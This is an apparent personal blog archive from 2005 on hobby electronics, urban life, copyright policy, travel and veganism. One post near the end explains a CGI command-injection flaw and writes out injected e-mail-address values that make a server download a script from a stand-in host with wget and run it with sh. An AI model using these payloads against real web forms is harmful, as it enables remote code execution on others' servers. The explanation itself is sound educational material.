Vitanuova for 2005
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Do you think the rain will be good for the rhubarb?

I wish my mother's award-winning short story about Albert Einstein and her father were on-line somewhere.

Our technology project didn't work, despite Colin's amazing work at the physical layer and Emma's and Scott's amazing work on igniters to light candles. In a previous year, we were able to drive solid-state relays directly from a PC's parallel port. This year, we used the same exact solid-state relays but a different PC; its parallel port wasn't able to source as much current (I think I've seen web sites suggest that they can be limited to as little as 4 mA or able to provide as much as 50 mA, depending on which one you get) and so we weren't able to drive the solid-state relays directly. I had neglected to bring a TTL buffer chip because it had been unnecessary the last time we tried this.

It's too bad, because I also wrote a nice little C program to decode ASCII characters to 7-segment display representations and drive a 7-segment display with TTL levels on the PC parallel port. But when we connected the real live parallel port to the real live 7-segment display, the output voltages fell precipitously and the relays were not triggered at all.

For reference, writing a byte to I/O port 0x378 on a PC will cause that byte to appear on pins 2-9 of the DB-25 connector attached to the PC's first parallel port, using TTL voltage levels relative to the parallel port's logic ground, which, among other places, is available on pin 25. Pin 2 is the least significant bit and pin 9 is the most significant bit. (This is explained much better in other places on the Internet, complete with lots of pictures!) But if you actually want to drive anything with the parallel port, it's really a good idea to use a TTL buffer between the parallel port and your load.

I think a bunch of people took pictures of us trying to build this thing, so I'll try to post links to them if anybody puts them on-line.

Here are two other annoying things. First, DB-25 break-out boxes usually don't have preattached jumper wires. If you want to connect pins from a DB-25 connector into a breadboard, it takes a really long time! Second, USB digital I/O devices cost a lot of money even though they are seemingly extremely simple. (It's hard to see why a USB I/O device should cost more than any other USB devices that contains any digital logic and a memory. Seriously, I just want a USB interface chip, a shift register, and a buffer. Why does that cost more than some complicated USB interface that implements some other bus protocol on top of that?) PC parallel ports are cheap, but they are ideal for controlling external digital devices, except for the small amount of current they provide and the relatively small number of output lines they provide (just 8 unless you want to mess with status bits). USB could fix both of these problems easily, and indeed USB devices are available that do fix them, but, depending on the amount of assembly and the market at which the devices are aimed, they seem to cost from $30 to about $400. This despite the fact that USB digital interfaces seem already to be a large market and product category.

Come on. You could probably get a USB digital clock for $10 or $15 now. Why should access to the data lines inside cost extra? It's like all these other cases where you have to pay more for less -- like the extra cost of organic food, or raw food, or diet food. In this case, it must be based on the idea that people who buy peripherals that are fully enclosed are "consumers" and people who buy peripherals that are open and expose their guts are "professionals" or "hobbyists" who are willing to spend a bunch of money on a peripheral.

I guess they're right, at that.

Ever notice how the binary clocks are actually just regular digital clocks, minus the BCD-to-seven-segment decoder/driver chips? Regular digital clocks represent the time just the way the "binary clocks" do, and then they have a little extra circuitry to display the time on 7-segment displays instead of showing the actual bits in their memory registers. (They probably use something similar to an old 7447 or 7448 TTL chip.) Binary clocks just omit that step and show you the actual bits in their memory registers; you could make a binary clock out of a regular digital clock by just inserting probes in the right places and hooking up lights to them.

But, of course, you have to pay more for a binary clock than you do for a corresponding digital clock, because the binary clock is all cool and geeky. (You can tell because you can get them at ThinkGeek.)

I made a pilgrimage to Boston's North End on Sunday with the hope of being able to read Jane Jacobs there, and I managed to.

When I saw the North End again in 1959, I was amazed at the change. Dozens and dozens of buildings had been rehabilitated. Instead of mattresses against the windows there were Venetian blinds and glimpses of fresh paint. Many of the small, converted houses now had only one or two families in them instead of the old crowded three or four. Some of the families in the tenements (as I learned later, visiting inside) had uncrowded themselves by throwing two older apartments together, and had equipped these with bathrooms, new kitchens and the like. I looked down a narrow alley, thinking to find at least here the old, squalid North End, but no: more neatly repointed brickwork, new blinds, and a burst of music as a door opened. Indeed, this was the only city district I had ever seen -- or have seen to this day -- in which the sides of buildings around parking lots had not been left raw and amputated, but repaired and painted as neatly as if they were intended to be seen. Mingled all among the buildings for living were an incredible number of splendid food stores, as well as such enterprises as upholstery making, metal working, carpentry, food processing. The streets were alive with children playing, people shopping, people stolling, people talking. Had it not been a cold January day, there would surely have been people sitting.

I was about the only person sitting outside on Sunday, with my copy of The Death and Life of Great American Cities, reading about what the neighborhood used to be like. The North End has changed quite a bit since Jane Jacobs wrote in praise of it; as she suggests elsewhere in the book, a successful neighborhood like that seems to attract wealthy people who enjoy what it has to offer and can afford to outbid other people. Among other things, it's possible that a many of the current set of shops were built in imitation of older shops and to evoke nostalgia for past versions of the North End. There are a lot of relatively fancy Italian restaurants, seemingly many more per capita than Jane Jacobs recounts, and possibly they are there partly because the North End has become a real tourist destination. (North Beach in San Francisco is certainly like that; it couldn't support all those restaurants unless people from out of town thought of it as "the Italian neighborhood" and made a point of coming to San Francisco to eat in North Beach!)

I'm sure that the general architecture and street layout is much the same as it was in 1959 and that almost all of the buildings now standing in the North End were there then. The economic and demographic scene is surely much different. I get a sense of gentrification, although it isn't taken to the same extremes as elsewhere; here in the Mission, for example, they've been building pretty ugly condos, which I didn't see in the North End. The availability of money for mortgages, construction projects, etc., is totally turned around. (The Death and Life of Great American Cities talks about how commercial lenders wouldn't lend into the North End in the 1950s because it had a bad reputation, so people living there found alternatives to the major banks. Three minutes into my walk through the North End on Sunday, I saw a construction site with a big banner proclaiming that the project was financed by a large New York bank.) However, the themes of diversity and sidewalk use are still in evidence. In fact, I didn't even know how to get to the North End (I don't know Boston that well), so I decided to walk toward what looked interesting, and sure enough, it turned out to be the North End. However much the economic situation has changed and however well or poorly planners and builders have taken The Death and Life of Great American Cities to heart, the North End still looks like an interesting place, and you can still see that interest from afar, fifty years later.

At the party, Colin built a great seven-segment display out of the light bulbs, but, as I mentioned earlier, the computer wasn't able to provide enough current to drive the solid-state relays. Take a look at the picture if you want to get a clearer sense of what we were trying to put together. (The secret here was zip-ties and a foam core board.)

The IEEE Spectrum has a piece critical of the "AACS" DRM scheme being pushed as a replacement for CSS; I am quoted a whole bunch. Spectrum calls the technology a "loser" with respect to preventing copyright infringement.

Of course, even if we are right about whether AACS can prevent copyright infringement, that probably wouldn't seem like a reason not to use it to people in industry who are planning to adopt it.

[PayPal founder Peter] Thiel believes his company could ultimately compete with titans like AmEx, but the prize he has in mind is bigger than a place in the Dow. He hopes to make PayPal a vehicle of geopolitical liberation. "The ability to move money fluidly and the erosion of the nation-state are closely related," he explains. With a PayPal account, anyone on the Net can transfer value with greater anonymity than they could with a Swiss bank account. Hard to tax. Harder to regulate. Nearly impossible to control.

(from a September 2001 Wired article on PayPal)

However,

You may not use PayPal in the purchase or sale of, or receipt of donations for, any obscene or sexually oriented goods or services. You may not use PayPal to sell drug paraphernalia, as defined in 21 U.S.C. 863. To be eligible for an account, you must be a resident of the United States or one of the approved countries [...]. We use many techniques to identify our users when they register on our site. You authorize PayPal, directly or through third parties, to make any inquiries we consider necessary to validate your registration [which] may include ordering a credit report and performing other credit checks or verifying the information you provide against third party databases. [W]e will also require your SSN or TIN if you send or receive certain high-value transactions or high overall payment volumes through PayPal.

(from current PayPal policies)

There is also an enormous list of prohibited PayPal uses. You really should take a look at this list, if only to see how long it is!

The last thing Peter Thiel wants is for government regulation to intrude on his business. There are solid financial reasons - complying with banking laws is expensive - but his philosophical objections are at least as strong. [...] There are reasons to doubt that Thiel will shoulder the legal risks that come with provoking powerful foreign governments. For one thing, he wants to take PayPal public, and public companies tend not to exhibit the same regulation-baiting swagger as private concerns. Whether or not PayPal realizes his vision of liberated capital, though, he has no doubt that it's inevitable.

"I like to think of us as being at the forefront of financial liberation," Thiel says, sipping his wine thoughtfully. "But if we didn't do it, someone else would."

(Wired, op. cit.)

Oops!

I pronounce my last name to rhyme with "phone", and Fred von Lohmann pronounces his to rhyme with "Tron showman", so it was quite a remarkable thing to hear the Lufthansa ticket agent, when she had to call over to another desk to inquire about our reservations, refer to "Herr Schön und Herr von Lohmann" and pronounce our names correctly.

Now I am enrolled in the Portuguese class at ABADÁ! I am extremely happy about this; it's my first time in a formal language class since 1998.

In the past year I had the privilege of visiting, among other places, Asilomar, CA; Austin, TX; Berkeley, CA; Berlin, Germany; Boston, MA; Davis, CA; Des Moines, IA; Las Vegas, NV; Los Angeles, CA; New York, NY; Niterói, Brazil; Ottawa, Canada; Pasadena, CA; Providence, RI; Rio de Janeiro, Brazil; San Francisco, CA; Seattle, WA; Victoria, Canada; and Washington, DC.

I feel very lucky to have been able to visit these great world cities, and, more often than not, to have been able to look around a bit and see a little of how these places differ from one another.

Only recently there was practically nobody who got to see all these places in a lifetime, and even now there is practically nobody who gets to see them in a single year, so I am incredibly fortunate.

Although most of these cities are mainstream tourist destinations, they have different kinds and degrees of marketing, and different self-concepts, and they rely on tourism to different extents. For example, I suspect Asilomar, Las Vegas, San Francisco, Victoria, Rio, and Niterói are especially dependent on visitors and have an unusually high proportion of their economic activity derived from outsiders' activity. Cities like Berlin, New York, and Los Angeles may have a much higher absolute volume of tourism than (say) Victoria, but it is hard to feel that the tourist industry is such a vital or essential force.

These cities also differ in other ways -- for example, in their levels of segregation along racial and economic lines. (San Francisco is enormously segregated in both respects, whereas Rio has even sharper economic divisions -- albeit compressed much more in spatial terms -- and astonishingly absent racial divisions.) The power of different groups and institutions is visible to different extents; Berlin struggles to show off its past, Victoria at least pretends to, and Los Angeles and Las Vegas often seem to rush to bury or redevelop it. In Ottawa you can see the power of the Canadian policy of bilingualism; in Victoria it frequently looks like a dead letter. Davis practices ecology in a way that puts Berkeley to shame; Las Vegas, um, doesn't. (Berlin, too, has an amazing ecological practice in its way, compared with American cities of a similar size.) New York has heard quite a bit from tort lawyers and Rio still seems to be awaiting them.

I don't want to claim some kind of great perspective on world events or cultures. In my whole life, I have only spent one week outside of a first-world country and only spent one weekend in the wilderness, sleeping outdoors. (I later spent a second weekend sleeping outdoors, but that wasn't exactly the wilderness since it had toilets, restaurants, commuter rail service, a supermarket, and the fastest Internet access I've ever had...) I am just grateful to have seen the variety that I have seen, which is very much focused on cities, the way my life is focused on cities.

I often like to quote Cicero's pessimistic view of human isolation, or rather the view he attributes to Africanus.

Vides habitari in terra raris et angustis in locis et in ipsis quasi maculis, ubi habitatur, vastas solitudines interiectas, eosque, qui incolunt terram, non modo interruptos ita esse, ut nihil inter ipsos ab aliis ad alios manare possit, sed partim obliquos, partim transversos, partim etiam adversos stare vobis; a quibus exspectare gloriam certe nullam potestis.

There are many aspects of this that remain true even in the age of air travel and global communications. I think it's a common essay question for people reading the "Somnium Scipionis" -- is this true even nowadays, that people live in little spots on the surface of the Earth and are so far cut off that nothing could pass between them? And students are meant to say yes, in a way. But I'm also thinking of how Dar Williams sang (perhaps a little ironically, if you recall about the line after):

People found the city because they love other people

In case you aren't on seth-trips, please note that the Supreme Court has set oral argument in MGM v. Grokster for Tuesday, March 29, 2005. I'm in the process of making plans to attend.

Mako pointed out that Christian Bök's lipographic masterpiece Eunoia is now on-line for free. I encourage everybody to buy a print copy; it's a beautiful book in every way.

Oops. How about this?

Mako points out that Christian Bök's brilliant univocallic lipographic work of charming thinking is up, gratis, on chbooks.com! I would ask all Bök fans, or proto-fans, to buy a print copy. In all ways, Bök's work is at lipography's summit and shows what is most worthy in bookmaking: its authorship, layout, artwork, and binding all form a glorious unity of craftsmanship. To hold it is to know a sort of artistic joy.

Thinking about Bök, I want to start a campaign for authors' autonomy from politicians' whims, and for all of our rights to go about writing and all sorts of communication without asking for an imprimatur... but to run this campaign only using lipography.

Its first slogan is obvious:

CONSTRAIN WRITING, NOT AUTHORS!

As elsewhere noted, I have just had an actual nightmare about the cute Japanese video game Katamari Damacy.

No, it didn't have to do with copyright; it had to do with the compulsion to try to roll up everything in the world into a giant ball!

I'm not quite sure what to say about Berlin other than that I had an excellent trip and met many interesting people. I had the privilege of visiting the renowned Chaos Computer Club and hanging out with many of its regulars, as well as the Bootlab and the newthinking Linux Trend Store (Linux specialty store).

I wrote a multiple-page account of my trip in Portuguese for a Portuguese class assignment, so maybe in the near future I can pull that out and translate portions of it into English in order to post them here.

OK, my mailing list for people who want to camp out at the Supreme Court for the MGM v. Grokster argument with me is up.

Fulfilling one of Justice Scalia's concerns (in fact, relying on Scalia's own logic), a court has held that U.S. obscenity law is unconstitutional, relying on Lawrence v. Texas. Boing Boing has news and good links, including a direct link to the opinion from the Western District of Pennsylvania.

It is reasonable to assume that [the Lawrence minority] came to [the conclusion that the Lawrence majority opinion would invalidate obscenity law] only after reflection and that the [minority] opinion was not merely a result of over-reactive hyperbole by those on the losing side of the argument. In any event, there are other constitutional scholars who have reached the same conclusion, i.e., that the nation's obscenity laws cannot stand in light of Lawrence.

Another interesting idea that I take from this case is that Justice Department forum-shopping for obscenity prosecutions can sometimes backfire.

I've already mentioned the article "The End of Obscenity", which points out Lawrence as one reason that older obscenity jurisprudence may be in trouble.

Here's another observation, which I hope will be a separate post at some point. In a precedent-based legal system, the answer you get depends on the order in which you ask the questions. It seems pretty clear that obscenity is one area where asking the courts about different aspects of free expression and sexual autonomy in different orders could have yielded drastically different results, and it may still yield a wide variety of results depending on the order in which future questions are posed.

A simple example of this is the relatively higher social status of gays and lesbians in our society than commercial pornographers. There is a conceptual relationship (as Scalia rightly pointed out, although from the point of view of someone who disfavored the liberties of both groups rather than favoring them) between the sexual autonomy of gay people and the sexual autonomy of pornography creators (and audiences), because the suppression of both is related to the same kinds of supposedly traditional sexual morality. If you ask about gay people first, though, and then pornographers, the courts are now reluctant to be seen as reactionary bigots by giving the kind of short shrift to gay rights that they did back in Bowers. And then the pornographers, as Scalia observed, will benefit from the collateral effects of recognizing the importance of individual sexual autonomy and disparaging state power over sex in general. But if you asked the question the other way round, to a certain extent, it could go the other way: you might get a ringing opinion supporting state power over sex, which would at the least be helpful to the anti-gay amici when a case like Lawrence came up.

I have no idea whether this case out of Pennsylvania is the vehicle, but I hope some day we will say good riddance to Miller, that (um) obscene hole in the already unsteady edifice of first amendment doctrine. We've seen over and over again that holes in the first amendment's coverage constantly invite other holes; patching them up, conversely, strengthens the whole structure against every kind of attack.

For those of you who, like the woman in Dan Bern's "Estelle", have "believed collage was the greatest of all the arts", you might be interested in a cool collage conference coming up in Iowa in March.

Many of the briefs filed in MGM v. Grokster make me want to say things. Perhaps I will try to remember those things and say them after the Supreme Court has rendered its opinion.

The Business Software Alliance, in its 2005 legislative agenda document, deals briefly with at least two arguments by copyright skeptics. This response is particularly bold, or candid, on BSA's part.

Some have attempted to paint copyright piracy as a victimless crime, arguing that "if I make a copy of a computer program, you still get to keep your copy, and we are both better off." This is hardly the case.

Reducing piracy offers direct benefits. The equation is a basic one: the lower the piracy rate, the larger the IT sector and the greater the benefits.

It's not unusual for a trade group to say that it wants its industry to be larger and more profitable, but it's amazing that the only refutation BSA offers to the notion that copying is a useful, productive activity is the idea that preventing copying will make the software industry bigger!

The most natural reading of "benefits" appears to be "profits", although it's always possible that BSA is saying that a larger IT sector would benefit its customers, which is not at all obvious.

Why should anyone other than the software industry inherently want the software industry to be bigger? Someone at Red Hat addressed this question head-on four or five years ago, saying that his goal was to make the software industry much smaller, and to provide greater benefits to software users and customers in the process. In his view, the software industry was much too large and was extracting much more money than necessary, partly because of limited competition and partly because of defects in its (for lack of a better term) business models.

The idea that helping a business sector get larger and richer is a primary duty of legislators or of the public is so peculiar that it bears trying to come up with a few parallel arguments.

Some have attempted to paint printing as a victimless crime, arguing that "if I print a book, you can buy it from me, and we are both better off." This is hardly the case.

Reducing printing offers direct benefits. The equation is a basic one: the lower the printing rate, the larger the scribes and bards sector, and the greater the benefits.

Some have attempted to paint conjugal sexual intimacy as a victimless crime, arguing that "if you and I have intimate relations, we both derive pleasure and a sense of togetherness, and we are both better off." This is hardly the case.

Reducing sex among committed partners offers direct benefits. The equation is a basic one: the lower the intimacy rate among committed partners, the larger the prostitution sector, and the greater the benefits.

Some have attempted to paint recreational sports leagues as a victimless crime, arguing that "if you and I play baseball, we both get physically fit, and we are both better off." This is hardly the case.

Reducing recreational sports offers direct benefits. The equation is a basic one: the lower the rate of noncommercial sports activity, the larger the professional athletic sector, and the greater the benefits.

Some have attempted to paint making dinner for your family as a victimless crime, arguing that "if I cook you dinner, we both enjoy dinner together, and we are both better off." This is hardly the case.

Reducing eating at home offers direct benefits. The equation is a basic one: the lower the rate of family dinner preparation, the larger the restaurant sector, and the greater the benefits.

Some have attempted to paint classical chamber music ensembles as a victimless crime, arguing that "if we all perform Schubert together, we all improve our proficiency with our instruments and enjoy the music, and we are all better off." This is hardly the case.

Reducing chamber music offers direct benefits. The equation is a basic one: the lower the rate of chamber music performance, the larger the professional orchestra and recorded music retailing sectors, and the greater the benefits.

Some have attempted to paint the sale of over-the-counter pharmaceuticals as a victimless crime, arguing that "if you buy medicine from me, you can use it to treat yourself, and we are both better off." This is hardly the case.

Reducing nonprescription medication sales offers direct benefits. The equation is a basic one: the lower the rate of nonprescription medication availability, the larger the demand for physician consultations, and the greater the benefits.

Some have attempted to paint reading books as a victimless crime, arguing that "if you read a book, you gain knowledge, and we are all better off." This is hardly the case.

Reducing reading offers direct benefits. The equation is a basic one: the lower the rate of reading, the larger the television audience and hence the larger the advertising sector, and the greater the benefits.

Some have attempted to paint gardening as a victimless crime, arguing that "if you grow herbs and vegetables in your garden, you can eat them, and we are all better off." This is hardly the case.

Reducing gardening offers direct benefits. The equation is a basic one: the lower the rate of gardening, the larger the supermarket and agricultural sectors, and the greater the benefits.

Some have attempted to paint painting as a victimless crime, arguing that "if you paint pictures, you can hang them in your house, and I can enjoy them, and we are both better off." This is hardly the case.

Reducing painting offers direct benefits. The equation is a basic one: the lower the rate of painting, the larger the professional offset printing sector, and the greater the benefits.

Some have attempted to paint children's games as a victimless crime, arguing that "if you and I play tag, we have fun, and we are both better off." This is hardly the case.

Reducing children's unstructured recreation offers direct benefits. The equation is a basic one: the lower the rate of unstructured play, the larger the arcade sector, and the greater the benefits.

Some have attempted to paint letting guests stay in your house as a victimless crime, arguing that "if you visit, I enjoy your company, you have a place to stay, and we are both better off." This is hardly the case.

Reducing hospitality toward guests and visitors offers direct benefits. The equation is a basic one: the lower the rate of uncompensated or reciprocal in-home hospitality, the larger the hotel sector, and the greater the benefits.

Some have attempted to paint ham radio as a victimless crime, arguing that "if you operate an amateur radio station, you and I can communicate across long distances, and we are both better off." This is hardly the case.

Reducing the prevalence of amateur radio operators offers direct benefits. The equation is a basic one: the lower the rate of amateur radio communication, the larger the long distance telephone services sector, and the greater the benefits.

Some have attempted to paint throwing parties as a victimless crime, arguing that "if you hold a party, we can celebrate together, and we are both better off." This is hardly the case.

Reducing partying offers direct benefits. The equation is a basic one: the lower the rate of noncommercial parties, the larger the nightclub and bar sector, and the greater the benefits.

Some have attempted to paint jogging as a victimless crime, arguing that "if you jog regularly, you improve your cardiovascular health, and we are all better off." This is hardly the case.

Reducing jogging offers direct benefits. The equation is a basic one: the lower the rate of jogging, the larger the coronary care and heart medication sector, and the greater the benefits.

Some have attempted to paint serfs becoming independent freeholding farmers as a victimless crime, arguing that "if you grow your own crops on your own land, you become self-sufficient outside of the feudal system, and we are all better off." This is hardly the case.

Reducing the emancipation of serfs offers direct benefits. The equation is a basic one: the lower the rate of emancipation, the more substantial the payment of tribute by the serfs to their liege lord, and the more his dominions and his prosperity can expand.

Some have attempted to paint generating electricity as a victimless crime, arguing that "if you generate electricity, you can sell it to me, I can illuminate my house and refrigerate my food, and we are both better off." This is hardly the case.

Reducing the generation of electricity offers direct benefits. The equation is a basic one: the lower the rate of electrical utility connectivity, the larger the tallow, oil, and ice sectors, and the greater the benefits.

Some have attempted to paint making aerobics tapes as a victimless crime, arguing that "if you follow someone's workout routine, you become conditioned, and we are all better off." This is hardly the case.

Reducing aerobic conditioning offers direct benefits. The equation is a basic one: the lower the rate of aerobic exercise, the larger the membership-based gymnasium and personal trainer sector, and the greater the benefits.

Some have attempted to paint having a foreign pen-pal as a victimless crime, arguing that "if you correspond with me, we can learn one another's languages and improve our language proficiency, and we are both better off." This is hardly the case.

Reducing international correspondence offers direct benefits. The equation is a basic one: the lower the rate of correspondence with foreign pen-pals, the larger the foreign language school sector, and the greater the benefits.

Some have attempted to paint tooth-brushing as a victimless crime, arguing that "if you brush your teeth regularly, you improve your dental hygiene, and we are all better off." This is hardly the case.

Reducing tooth-brushing offers direct benefits. The equation is a basic one: the lower the rate of tooth-brushing, the larger the dental prosthetic, dental filling, and dental surgical equipment sectors, and the greater the benefits.

Some have attempted to paint not paying a capitation tax to the established church as a victimless crime, arguing that "if you are not compelled to support the established church, you can worship in your own way according to your individual conscience, and we are all better off." This is hardly the case.

Reducing the avoidance of compulsory payments to the established church offers direct benefits. The equation is a basic one: the lower the rate of dissent from the established church, the larger the revenue the church can obtain, which permits it to expand and furthers the glory of God.

Some have attempted to paint manufacturing semiconductors as a victimless crime, arguing that "if you sell me semiconductors, I can build digital devices with relatively high speed and low power consumption, and we are both better off." This is hardly the case.

Reducing semiconductor manufacturing offers direct benefits. The equation is a basic one: the lower the rate of semiconductor use, the larger the vacuum tube sector, and the greater the benefits.

Some have attempted to paint walking to work as a victimless crime, arguing that "if you walk to work, you arrive at work, you can do your job, and we are all better off." This is hardly the case.

Reducing walking to work offers direct benefits. The equation is a basic one: the lower the rate of walking to work, the larger the automotive sector, and the greater the benefits.

Some have attempted to suggest that these united colonies are, and of right ought to be, free and independent states, arguing that, if all political connection between them and the State of Great Britain is totally dissolved, they can do all acts and things which independent states may of right do, and we are all better off." This is hardly the case.

Preventing the independence of the colonies offers direct benefits. The equation is a basic one: imposing taxes on the colonies without their consent allows the maintenance and expansion of the British Empire, and the greater glory and honour of his majesty George the Third, by the Grace of God King of Great Britain, France, and Ireland, Defender of the Faith, etc., and the less autonomy the colonies attain, the greater the benefits.

Now I can understand my Portuguese spam (and so I don't immediately mark it as spam and delete it, because it has more intrinsic interest, and it's no longer immediately obvious from the language whether it's spam or not).

As Thomas Schelling suggests in The Strategy of Conflict, sometimes being able to understand something (or being able to receive messages, or being seen as rational) can be a real disadvantage. When you can understand, people can use language to try to deceive you, threaten you, propagandize you, annoy you, or simply waste your time. In the famous case of a threat, if you really plausibly don't understand the threat, for any reason whatsoever, the threat's effectiveness fails. If spammers could be sure that I didn't know any Portuguese, they would have no reason to spam me in Portuguese (and, if they did, I would have no reason to pay attention to their messages).

I get a lot of Korean spam, too, but I never have any doubt whether it's spam, and I'm never even tempted to try to read it -- let alone risking falling for some kind of scam or pitch conveyed in Korean.

Keely's time capsule post motivated me to fill out the same sort of thing for myself, but I don't think I want to post it here. Since I never spent more than four years at any one school after elementary school, the five-year jump is amazing for the way it vaults over entire periods of my life at school.

It reminds me, though, that on my 24th birthday in 2003 I thought of doing a project called "Method of Loci" which would rely on the fact that I live at 24th Street (and am pretty familiar with the lower-numbered streets in San Francisco because I used to live at 3rd Street and work at 8th Street. I wanted to be photographed at an intersection of each numbered street in San Francisco from 1st Street past my old corner on 3rd Street up to my corner at 24th Street, (There are some minor difficulties because there is no single street that runs from my old neighborhood into my new neighborhood and intersects all the numbered streets -- but that's OK, because I could just walk side to side and be sure of getting all of them.) At each intersection, I would be photographed in front of the appropriately numbered street sign, holding or wearing things that related to the corresponding year in my life, and I would end up at home, aged 24. I thought it would be an amazing aid to memory, and I actually did make a chart of when things happened to me, and I collected some memorabilia from different years. (It was pretty easy for me to find at least one thing for each year from about 1991 until the present, but much harder to find things from before then.)

That project didn't work out, but I'm still interested in doing something like that. It frustrates me that it's already hard for me to keep a sense of perspective about when things happened to me (or, for that matter, when things happened in world history). Often, it's hard to remember how quickly and how dramatically my life has changed. Since the numbered streets in my immediate neighborhood go up to 26th Street, I still have one more chance to do this sort of project this year, although I'd have to keep going a block and a half or so past my house.

The advantage of this sort of exercise, including the task of physically walking through the city, is that it lets you associate things with a geography that's already familiar. For example, you could then think of an event in terms of a particular building, and see the approximate distance between things, or think about how long something lasted, in familiar spatial terms. I don't want to suggest that there is something more natural or easier about thinking in terms of space than in terms of time. But since memory can be so unreliable, or partial, or difficult, associating events of memory with the seemingly stable physical world helps put them in perspective in a way that could be more accessible.

The method of loci is a mnemonic technique in which items in a series are associated mentally with places along a familiar route. Doing this helps many people recall the series in order without as much risk of leaving something out or recalling things in the wrong order. For many people, it can be very helpful.

I think anyone who lives in a city with numbered streets has a ready-made framework for a surprisingly interesting and powerful personal art project.

I was working on an article about this very aviation security loophole -- indeed, I have it as a draft in NewsBruiser -- but Slate beat me to it and wrote it up first. (Thanks to Boing Boing for the link.) Maybe I'll go back and add some more detail to my own version.

I was sad to see that Slate backs down on its initial skepticism of the No-Fly List. The article starts off this way:

The Homeland Security Department's No-Fly List has always seemed a bit absurd to me. [...] But even if you assume the No-Fly List serves an important purpose, the system as it presently operates contains a gaping, dangerous loophole that makes the list nearly useless.

(Of course, the loophole is only "dangerous" "if you assume the No-Fly List serves an important purpose", which the author initially claimed not to believe.)

But instead of ending the piece by advocating the elimination of the supposedly "absurd" and "nearly useless" No-Fly list, the author abruptly backpedals and calls for more rigorous procedures to enforce it:

Could an extra ID check slow us down a little? Yes, it probably would. Tough luck. We've already endured two wars and countless other disruptions in the name of safety. A few extra minutes at the airport isn't going to kill anyone.

Other people thinking about the effectiveness of security measures have thought that some of those measures were simply worthless. But these measures are not simply random and meaningless; they are often intrusive, demeaning, repressive, and error-prone. When a practice is actually useless for security, it ought to be at least a plausible argument for doing away with it.

For example, when I was at Oakland with Cory Doctorow (in his previous incarnation as a cigarette smoker) and he had to empty his cigarette lighter before carrying it on the plane, he tried to show the security screener the futility of this gesture by walking to a convenience store immediately inside the security checkpoint, buying a new lighter there, and bringing it back to the checkpoint. He had just purchased an item inside security comparable to what the screener had made him give up.

Now, a journalist could write a story about how awful it is that the convenience stores in airports are selling cigarette lighters. Or the journalist could write about how silly it is that screeners are taking them away from people. (Hint: TSA still expressly permits matches, and every airport seems to have stores selling enormous glass bottles of vodka.)

(Update: TSA rules apparently prohibit carrying those bottles on the airplane, but this might be hard to enforce -- especially the quantity limits -- since they get sold inside security checkpoints.)

Wow, Riana's eschatological preaching is about the geekiest thing I've seen all year. (Hint: this is a response to the Wang-Yin-Yu SHA-1 collision attack. Riana is standing in front of the RSA Conference.)

Praveen and Gwen and I went over to Berkeley to see Gilberto Gil, famous Brazilian musician and (it so happens) Ministro da Cultura do República Federativa do Brasil. (Also, close friend of John Perry Barlow's.) It was a good time; Gil played some of his music (which most of the audience, unlike me, knew by heart), and talked about cultural policy issues. He also made a lot of jokes.

When someone asked about how Brazil was affected by the International Monetary Fund (IMF), Gil said that in Brazil it's known as the FMI, but maybe it would be better to be able to call it the FIM (Portuguese for "end"). But then he gave a straight answer.

The moderator didn't ask my question about copyright, which is understandable, since it looked like hundreds of questions were submitted. Gil is speaking again this afternoon at ABADÁ, so I might get another chance.

The ALA v. FCC argument in the D.C. Circuit is today, but I haven't heard any news yet.

Chris Palmer just told me about a remarkable program called tcc, the Tiny C Compiler. tcc is unbelievably small and fast (it claims to be able to compile the entire Linux kernel in 10 seconds, which I keep thinking must be a misprint every time I see it), so that some people are actually compiling their kernels at boot time as part of the boot process, or so I'm given to understand.

But the other funny thing you can do with tcc is use C as a scripting language. For example, 

[schoen@eleos tcc-0.9.22]$ cat hello.c
#!/usr/local/bin/tcc -run

int main(int argc, char *argv[]){
	int i;
	for(i=0; i<10; i++){
		printf("%s: Hello, %d world!\n", argv[0], i);
	}
}
[schoen@eleos tcc-0.9.22]$ ./hello.c 
./hello.c: Hello, 0 world!
./hello.c: Hello, 1 world!
./hello.c: Hello, 2 world!
./hello.c: Hello, 3 world!
./hello.c: Hello, 4 world!
./hello.c: Hello, 5 world!
./hello.c: Hello, 6 world!
./hello.c: Hello, 7 world!
./hello.c: Hello, 8 world!
./hello.c: Hello, 9 world!

Suppose that you have a CGI script responsible for processing a form that allows users to send mail to other people by entering their e-mail addresses, and suppose that the CGI form performs some minimal validation of e-mail addresses by requiring that they be separated by spaces or commas and that they contain @ signs.

Suppose that the CGI script in question implements the process of sending mail by calling 

system("sendmail " + user_supplied_address_list)

from a scripting language like Perl or Python. (In practice it would probably be popen instead of system, but popen works much like system and has the same vulnerabilities.)

Here's a simple way of exploiting this script to gain access to the web server. On a web server you control, say www.example.com, create a file called att@ck in the root directory, containing a #!/bin/sh line followed by code you would like to run on the web server under attack. Then submit the CGI form with the recipient address list 

you@example.com;wget -O/tmp/att@ck www.example.com/att@ck

and then submit it a second time with the recipient address list 

you@example.com;sh /tmp/att@ck

This will result in the remote system executing the two commands 

system("sendmail you@example.com;wget -O/tmp/att@ck www.example.com/att@ck")

and 

system("sendmail you@example.com;sh /tmp/att@ck")

which will result in the code from http://www.example.com/att@ck being run with the web server's privileges on the system that hosts the CGI script. (Each of the tokens in the example above is a single string containing an @, so trivial e-mail address validation -- without removing the semicolon character -- won't fix this problem!)

This vulnerability is ancient and very widely discussed; the equivalent problem has plagued many people's software for years, even though mechanisms like these have been well documented and are the major inspiration for things like Perl's Taint Mode, but it still works against freshly-written scripts, and many sites are vulnerable. Being vulnerable to this feels kind of like coming down with some ancient and unfashionable disease like scurvy. That's so 18th-century!

Yesterday I decided to try to become a vegan, after right around 17 years of lacto-ovo-vegetarianism. My current thought is that I'll always be strictly lacto-ovo-vegetarian, but that I should be able to buy only vegan food when buying food for myself. (I would still eat lacto-ovo-vegetarian when eating food that other people had provided, or somewhere where vegan food isn't available.) Following that practice doesn't actually constitute "being vegan", but rather something like "preferring a vegan diet". In San Francisco, this seems remarkably easy; the only time I regularly eat eggs or milk today is in desserts, pizza, and nachos. Perhaps 80% or more of my meals in the last month were already vegan or had only trivial amounts of eggs or milk in them. (About 80% of the food I usually prepare for myself is also already vegan, and my favorite cuisines are high-carb versions of Ethiopian and Asian foods where the vegetarian dishes are typically vegan.)

I find it really exciting to pursue a project like this. It reminds me very much of something that I might have done when I was younger, and stirs up all sorts of feelings of possibility and nostalgia. It's also very convenient that I'm about to get a third housemate who's a longtime vegan.

